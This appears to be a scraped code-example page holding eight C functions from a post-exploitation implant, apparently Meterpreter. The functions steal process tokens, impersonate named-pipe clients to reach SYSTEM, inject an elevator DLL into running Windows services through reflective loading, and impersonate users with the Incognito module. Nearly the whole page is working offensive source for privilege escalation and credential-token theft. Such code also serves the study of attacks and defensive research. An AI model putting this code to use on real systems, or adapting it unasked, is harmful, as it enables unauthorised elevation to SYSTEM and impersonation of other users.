Пример #1
0
/*
 * sys_config_rev2self
 *
 * Calls RevertToSelf()
 */
DWORD request_sys_config_rev2self(Remote *remote, Packet *packet)
{
#ifdef _WIN32
	DWORD dwResult    = ERROR_SUCCESS;
	Packet * response = NULL;

	do
	{
		response = packet_create_response(packet);
		if (!response)
		{
			dwResult = ERROR_INVALID_HANDLE;
			break;
		}

		core_update_thread_token(remote, NULL);

		core_update_desktop(remote, -1, NULL, NULL);

		if (!RevertToSelf())
			dwResult = GetLastError();

	} while(0);

	if (response)
		packet_transmit_response(dwResult, remote, response);

#else
	DWORD dwResult = ERROR_NOT_SUPPORTED;
#endif

	return dwResult;
}
Пример #2
0
/*
 * @brief Drops an existing thread token.
 * @param pRemote Pointer to the \c Remote instance.
 * @param pRequest Pointer to the \c Request packet.
 * @returns Indication of success or failure.
 */
DWORD request_sys_config_drop_token(Remote* pRemote, Packet* pPacket)
{
	Packet* pResponse = packet_create_response(pPacket);
	DWORD dwResult = ERROR_SUCCESS;

#ifdef _WIN32
	core_update_thread_token(pRemote, NULL);
	dwResult = populate_uid(pResponse);
#else
	dwResult = ERROR_NOT_SUPPORTED;
#endif

	// Transmit the response
	packet_transmit_response(dwResult, pRemote, pResponse);

	return dwResult;
}
Пример #3
0
/*
 * sys_droptoken
 * ----------
 *
 * Drops an existing thread token
 */
DWORD request_sys_config_drop_token(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
#ifdef _WIN32
	DWORD res = ERROR_SUCCESS;
	CHAR username[512], username_only[512], domainname_only[512];
	LPVOID TokenUserInfo[4096];
	DWORD user_length = sizeof(username_only), domain_length = sizeof(domainname_only);
	DWORD size = sizeof(username), sid_type = 0, returned_tokinfo_length;

	memset(username, 0, sizeof(username));
	memset(username_only, 0, sizeof(username_only));
	memset(domainname_only, 0, sizeof(domainname_only));

	do
	{
		core_update_thread_token(remote, NULL);
		
		if (!GetTokenInformation(remote->hThreadToken, TokenUser, TokenUserInfo, 4096, &returned_tokinfo_length))
		{
			res = GetLastError();
			break;
		}
		
		if (!LookupAccountSidA(NULL, ((TOKEN_USER*)TokenUserInfo)->User.Sid, username_only, &user_length, domainname_only, &domain_length, (PSID_NAME_USE)&sid_type))
		{
			res = GetLastError();
			break;
		}

 		// Make full name in DOMAIN\USERNAME format
		_snprintf(username, 512, "%s\\%s", domainname_only, username_only);
		username[511] = '\0';

		packet_add_tlv_string(response, TLV_TYPE_USER_NAME, username);

	} while (0);
#else
	DWORD res = ERROR_NOT_SUPPORTED;
#endif
	// Transmit the response
	packet_transmit_response(res, remote, response);

	return res;
}
Пример #4
0
/*
 * Worker thread for named pipe impersonation. Creates a named pipe and impersonates
 * the first client which connects to it.
 */
DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
{
	DWORD dwResult              = ERROR_ACCESS_DENIED;
	HANDLE hServerPipe          = NULL;
	HANDLE hToken               = NULL;
	HANDLE hSem		    = NULL;
	char * cpServicePipe        = NULL;
	Remote * remote             = NULL;
	BYTE bMessage[128]          = {0};
	DWORD dwBytes               = 0;

	do {
		if (!thread) {
			BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread", ERROR_BAD_ARGUMENTS);
		}

		cpServicePipe = (char *)thread->parameter1;
		remote        = (Remote *)thread->parameter2;
		hSem          = (HANDLE)thread->parameter3;

		if (!cpServicePipe || !remote) {
			BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread.  invalid thread arguments",
				ERROR_BAD_ARGUMENTS);
		}

		dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)",cpServicePipe);

		// create the named pipe for the client service to connect to
		hServerPipe = CreateNamedPipe(cpServicePipe,
			PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);

		if (!hServerPipe) {
			BREAK_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. CreateNamedPipe failed");
		}

		while (TRUE) {
			if (event_poll(thread->sigterm, 0)) {
				BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. thread->sigterm received",
					ERROR_DBG_TERMINATE_THREAD);
			}

			//signal the client that the pipe is ready
                        if (hSem) {
                                if (!ReleaseSemaphore(hSem, 1, NULL)) {
				        BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. ReleaseSemaphore failed",
						ERROR_DBG_TERMINATE_THREAD);
				}
			}

			// wait for a client to connect to our named pipe...
			if (!ConnectNamedPipe(hServerPipe, NULL)) {
				if (GetLastError() != ERROR_PIPE_CONNECTED)
					continue;
			}

			dprintf("[ELEVATE] pipethread. got client conn.");

			// we can't impersonate a client untill we have performed a read on the pipe...
			if (!ReadFile(hServerPipe, &bMessage, 1, &dwBytes, NULL)) {
				CONTINUE_ON_ERROR("[ELEVATE] pipethread. ReadFile failed");
			}

			// impersonate the client!
			if (!ImpersonateNamedPipeClient(hServerPipe)) {
				CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. ImpersonateNamedPipeClient failed");
			}

			// get a handle to this threads token
			if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) {
				CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. OpenThreadToken failed");
			}

			// now we can set the meterpreters thread token to that of our system
			// token so all subsequent meterpreter threads will use this token.
			core_update_thread_token(remote, hToken);

			dwResult = ERROR_SUCCESS;

			break;
		}

	} while (0);

	if (hServerPipe) {
		DisconnectNamedPipe(hServerPipe);
		CLOSE_HANDLE(hServerPipe);
	}

	dprintf("[ELEVATE] elevate_namedpipe_thread finishing, dwResult=%d", dwResult);

	return dwResult;
}
Пример #5
0
/*
 * sys_steal_token
 * ----------
 *
 * Steals the primary token from an existing process
 */
DWORD request_sys_config_steal_token(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD dwResult = ERROR_SUCCESS;
#ifdef _WIN32
	HANDLE hToken = NULL;
	HANDLE hProcessHandle = NULL;
	HANDLE hDupToken = NULL;
	DWORD dwPid;

	do
	{
		// Get the process identifier that we're attaching to, if any.
		dwPid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID);

		if (!dwPid)
		{
			dwResult = -1;
			break;
		}

		hProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);

		if (!hProcessHandle)
		{
			dwResult = GetLastError();
			dprintf("[STEAL-TOKEN] Failed to open process handle for %d (%u)", dwPid, dwResult);
			break;
		}

		if (!OpenProcessToken(hProcessHandle, TOKEN_ALL_ACCESS, &hToken))
		{
			dwResult = GetLastError();
			dprintf("[STEAL-TOKEN] Failed to open process token for %d (%u)", dwPid, dwResult);
			break;
		}

		if (!ImpersonateLoggedOnUser(hToken))
		{
			dwResult = GetLastError();
			dprintf("[STEAL-TOKEN] Failed to impersonate token for %d (%u)", dwPid, dwResult);
			break;
		}

		if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &hDupToken))
		{
			dwResult = GetLastError();
			dprintf("[STEAL-TOKEN] Failed to duplicate a primary token for %d (%u)", dwPid, dwResult);
			break;
		}

		core_update_thread_token(remote, hDupToken);

		dwResult = populate_uid(response);
	} while (0);

	if (hProcessHandle)
	{
		CloseHandle(hProcessHandle);
	}

	if (hToken)
	{
		CloseHandle(hToken);
	}
#else
	dwResult = ERROR_NOT_SUPPORTED;
#endif
	// Transmit the response
	packet_transmit_response(dwResult, remote, response);

	return dwResult;
}
Пример #6
0
/*
 * Elevate from local admin to local system via code injection in a system service.
 * Does not work on NT4 (needed api's missing) Works on 2000, XP, 2003. On Vista, 2008 or 7 we cant open
 * service process from a non elevated admin.
 *
 * A current limitation in LoadRemoteLibraryR prevents this from working across 
 * architectures so we just filter out running this from an x64 platform for now.
 */
DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
{
	DWORD dwResult                   = ERROR_SUCCESS;
	HANDLE hToken                    = NULL;
	HANDLE hTokenDup                 = NULL;
	HANDLE hProcess                  = NULL;
	HANDLE hThread                   = NULL;
	HANDLE hManager                  = NULL;
	HANDLE hService                  = NULL;
	LPVOID lpServiceBuffer           = NULL;
	LPVOID lpRemoteCommandLine       = NULL;
	ENUM_SERVICE_STATUS * lpServices = NULL;
	char * cpServiceName             = NULL;
	SERVICE_STATUS_PROCESS status    = {0};
	char cCommandLine[128]           = {0};
	OSVERSIONINFO os                 = {0};
	DWORD dwServiceLength            = 0;
	DWORD dwBytes                    = 0;
	DWORD index                      = 0;
	DWORD dwServicesReturned         = 0;
	DWORD dwExitCode                 = 0;

	do
	{
		// only works on x86 systems for now...
		if( elevate_getnativearch() != PROCESS_ARCH_X86 )
			BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_service_debug. Unsuported platform", ERROR_BAD_ENVIRONMENT );

		os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );

		if( !GetVersionEx( &os ) )
			BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug: GetVersionEx failed" )

		// filter out Windows NT4 
		if ( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 )
			BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug: Not yet supported on this platform.", ERROR_BAD_ENVIRONMENT )

		cpServiceName   = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME );
		dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH );
		lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL );

		if( !dwServiceLength || !lpServiceBuffer )
			BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug. invalid arguments", ERROR_BAD_ARGUMENTS );

		if( !elevate_priv( SE_DEBUG_NAME, TRUE ) )
			BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. elevate_priv SE_DEBUG_NAME failed" );

		hManager = OpenSCManagerA( NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE );
		if( !hManager )
			BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. OpenSCManagerA failed" );
		
		if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, NULL, 0, &dwBytes, &dwServicesReturned, NULL ) )
		{
			if( GetLastError() != ERROR_MORE_DATA )
				BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. EnumServicesStatus 1 failed" );
		}

		lpServices = (ENUM_SERVICE_STATUS *)malloc( dwBytes );
		if( !lpServices )
			BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. malloc lpServices failed" );

		if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, lpServices, dwBytes, &dwBytes, &dwServicesReturned, NULL ) )
			BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. EnumServicesStatus 2 failed" );
	
		dwResult = ERROR_ACCESS_DENIED;

		// we enumerate all services, injecting our elevator.dll (via RDI), if the injected thread returns successfully
		// it means we have been given a system token so we duplicate it as a primary token for use by metsrv.
		for( index=0 ; index<dwServicesReturned ; index++ )
		{
			do
			{
				hService = OpenServiceA( hManager, lpServices[index].lpServiceName, SERVICE_QUERY_STATUS ); 
				if( !hService )
					break;

				if( !QueryServiceStatusEx( hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&status, sizeof(SERVICE_STATUS_PROCESS), &dwBytes ) )
					break;
				
				if( status.dwCurrentState != SERVICE_RUNNING )
					break;

				// open a handle to this service (assumes we have SeDebugPrivilege)...
				hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, status.dwProcessId );
				if( !hProcess )
					break;

				dprintf( "[ELEVATE] elevate_via_service_debug. trying [%d] lpDisplayName=%s, lpServiceName=%s, dwProcessId=%d", index, lpServices[index].lpDisplayName, lpServices[index].lpServiceName, status.dwProcessId  );
	
				_snprintf( cCommandLine, sizeof(cCommandLine), "/t:0x%08X\x00", GetCurrentThreadId() );

				// alloc some space and write the commandline which we will pass to the injected dll...
				lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); 
				if( !lpRemoteCommandLine )
					break; 

				if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL ) )
					break;

				// use RDI to inject the elevator.dll into the remote process, passing in the command line to elevator.dll
				hThread = LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine );
				if( !hThread )
					break;

				// we will only wait 30 seconds for the elevator.dll to do its job, if this times out we assume it failed.
				if( WaitForSingleObject( hThread, 30000 ) != WAIT_OBJECT_0 )
					break;

				// get the exit code for our injected elevator.dll
				if( !GetExitCodeThread( hThread, &dwExitCode ) )
					break;

				// if the exit code was successfull we have been given a local system token, so we duplicate it
				// as a primary token for use by metsrv
				if( dwExitCode == ERROR_SUCCESS )
				{
					if( OpenThreadToken( GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken ) )
					{

						if( DuplicateToken( hToken, SecurityImpersonation, &hTokenDup ) )
						{
							core_update_thread_token( remote, hTokenDup );
							dwResult = ERROR_SUCCESS;
							break;
						}
					}
				}

			} while( 0 );

			CLOSE_SERVICE_HANDLE( hService );

			CLOSE_HANDLE( hProcess );

			CLOSE_HANDLE( hThread );

			CLOSE_HANDLE( hToken );
			
			if( dwResult == ERROR_SUCCESS )
				break;
		}

	} while( 0 );

	CLOSE_SERVICE_HANDLE( hManager );

	if( lpServices )
		free( lpServices );

	SetLastError( dwResult );

	return dwResult;
}
Пример #7
0
/*
 * sys_steal_token
 * ----------
 *
 * Steals the primary token from an existing process
 */
DWORD request_sys_config_steal_token(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
#ifdef _WIN32
	DWORD res = ERROR_SUCCESS;
	CHAR username[512], username_only[512], domainname_only[512];
	LPVOID TokenUserInfo[4096];
	HANDLE token = NULL;
	HANDLE handle = NULL;
	HANDLE xtoken = NULL;
	DWORD pid;
	DWORD user_length = sizeof(username_only), domain_length = sizeof(domainname_only);
	DWORD size = sizeof(username), sid_type = 0, returned_tokinfo_length;

	memset(username, 0, sizeof(username));
	memset(username_only, 0, sizeof(username_only));
	memset(domainname_only, 0, sizeof(domainname_only));

	do
	{
		// Get the process identifier that we're attaching to, if any.
		pid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID);

		if (!pid) {
			res = -1;
			break;
		}

		handle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);

		if(!handle) {
			res = GetLastError();
			dprintf("[STEAL-TOKEN] Failed to open process handle for %d (%u)", pid, res);
			break;
		}

		if(! OpenProcessToken(handle, TOKEN_ALL_ACCESS, &token)){
			res = GetLastError();
			dprintf("[STEAL-TOKEN] Failed to open process token for %d (%u)", pid, res);
			break;
		}

		if(! ImpersonateLoggedOnUser(token)) {
			res = GetLastError();
			dprintf("[STEAL-TOKEN] Failed to impersonate token for %d (%u)", pid, res);
			break;	
		}


		if(! DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &xtoken)) {
			res = GetLastError();
			dprintf("[STEAL-TOKEN] Failed to duplicate a primary token for %d (%u)", pid, res);
			break;	
		}

		core_update_thread_token(remote, xtoken);

		if (! GetTokenInformation(token, TokenUser, TokenUserInfo, 4096, &returned_tokinfo_length))
		{
			res = GetLastError();
			dprintf("[STEAL-TOKEN] Failed to get token information for %d (%u)", pid, res);
			break;
		}
		
		if (!LookupAccountSidA(NULL, ((TOKEN_USER*)TokenUserInfo)->User.Sid, username_only, &user_length, domainname_only, &domain_length, (PSID_NAME_USE)&sid_type))
		{
			res = GetLastError();
			dprintf("[STEAL-TOKEN] Failed to lookup sid for %d (%u)", pid, res);
			break;
		}

 		// Make full name in DOMAIN\USERNAME format
		_snprintf(username, 512, "%s\\%s", domainname_only, username_only);
		username[511] = '\0';

		packet_add_tlv_string(response, TLV_TYPE_USER_NAME, username);

	} while (0);

	if(handle)
		CloseHandle(handle);
	
	if(token)
		CloseHandle(token);
#else
	DWORD res = ERROR_NOT_SUPPORTED;
#endif
	// Transmit the response
	packet_transmit_response(res, remote, response);

	return res;
}
Пример #8
0
DWORD request_incognito_impersonate_token(Remote *remote, Packet *packet)
{
	DWORD num_unique_tokens = 0, num_tokens = 0, i;
	unique_user_token *uniq_tokens = calloc(BUF_SIZE, sizeof(unique_user_token));
	SavedToken *token_list = NULL;
	BOOL bTokensAvailable = FALSE, delegation_available = FALSE;
	char temp[BUF_SIZE] = "", *requested_username, return_value[BUF_SIZE] = "";
	HANDLE xtoken;
	TOKEN_PRIVS token_privs;

	Packet *response = packet_create_response(packet);
	requested_username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN);
	
	// Enumerate tokens
	token_list = get_token_list(&num_tokens, &token_privs);

	if (!token_list)
	{
		sprintf(temp, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError());
		goto cleanup;
	}

	// Process all tokens to get determinue unique names and delegation abilities
	for (i=0;i<num_tokens;i++)
	if (token_list[i].token)
	{
		process_user_token(token_list[i].token, uniq_tokens, &num_unique_tokens, BY_USER);
		process_user_token(token_list[i].token, uniq_tokens, &num_unique_tokens, BY_GROUP);
	}

	for (i=0;i<num_unique_tokens;i++)
	{
		if (!_stricmp(uniq_tokens[i].username, requested_username) )//&& uniq_tokens[i].impersonation_available)
		{
			if (uniq_tokens[i].delegation_available)
				delegation_available = TRUE;
			if (delegation_available)
				strncat(return_value, "[+] Delegation token available\n", sizeof(return_value)-strlen(return_value)-1);
			else
				strncat(return_value, "[-] No delegation token available\n", sizeof(return_value)-strlen(return_value)-1);

			for (i=0;i<num_tokens;i++)
			{
				if (is_token(token_list[i].token, requested_username))
				if (ImpersonateLoggedOnUser(token_list[i].token))
				{
					strncat(return_value, "[+] Successfully impersonated user ", sizeof(return_value)-strlen(return_value)-1);
					strncat(return_value, token_list[i].username, sizeof(return_value)-strlen(return_value)-1);
					strncat(return_value, "\n", sizeof(return_value)-strlen(return_value)-1);
				
					if (!DuplicateTokenEx(token_list[i].token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &xtoken)) {
						dprintf("[INCOGNITO] Failed to duplicate token for %s (%u)", token_list[i].username, GetLastError());
					} else {
						core_update_thread_token(remote, xtoken);
					}
					goto cleanup;
				}
			}
		}
	}
	
	strncat(return_value, "[-] User token ", sizeof(return_value)-strlen(return_value)-1);
	strncat(return_value, requested_username, sizeof(return_value)-strlen(return_value)-1);
	strncat(return_value, " not found\n", sizeof(return_value)-strlen(return_value)-1);
	
cleanup:
	for (i=0;i<num_tokens;i++)
		CloseHandle(token_list[i].token);
	free(token_list);
	free(uniq_tokens);

	packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
	packet_transmit_response(ERROR_SUCCESS, remote, response);
	
	return ERROR_SUCCESS;
}